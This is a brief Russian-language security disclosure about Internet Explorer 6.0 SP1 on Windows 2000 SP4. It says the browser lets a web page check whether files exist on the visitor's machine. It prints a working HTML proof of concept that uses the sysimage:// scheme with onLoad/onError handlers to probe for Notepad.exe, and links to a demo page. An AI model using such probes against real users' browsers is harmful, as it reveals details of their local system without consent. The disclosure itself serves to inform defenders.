Internet Explorer 6.0 SP1 + Win2k SP4 позволяет
обнаруживать наличие файлов на локальной
машине.

Пример:

<img src="sysimage://C:\WINNT\Notepad.exe,666" onLoad="document.write(‘<b>Cannot
Find File!</b>’);" onError="document.write(‘<b>File Exists!</b>’);">

Демо:

http://crapware.lx.ro/junkcode/security/ie-sp1-sysimage-local-file-existence.htm

 



Оставить мнение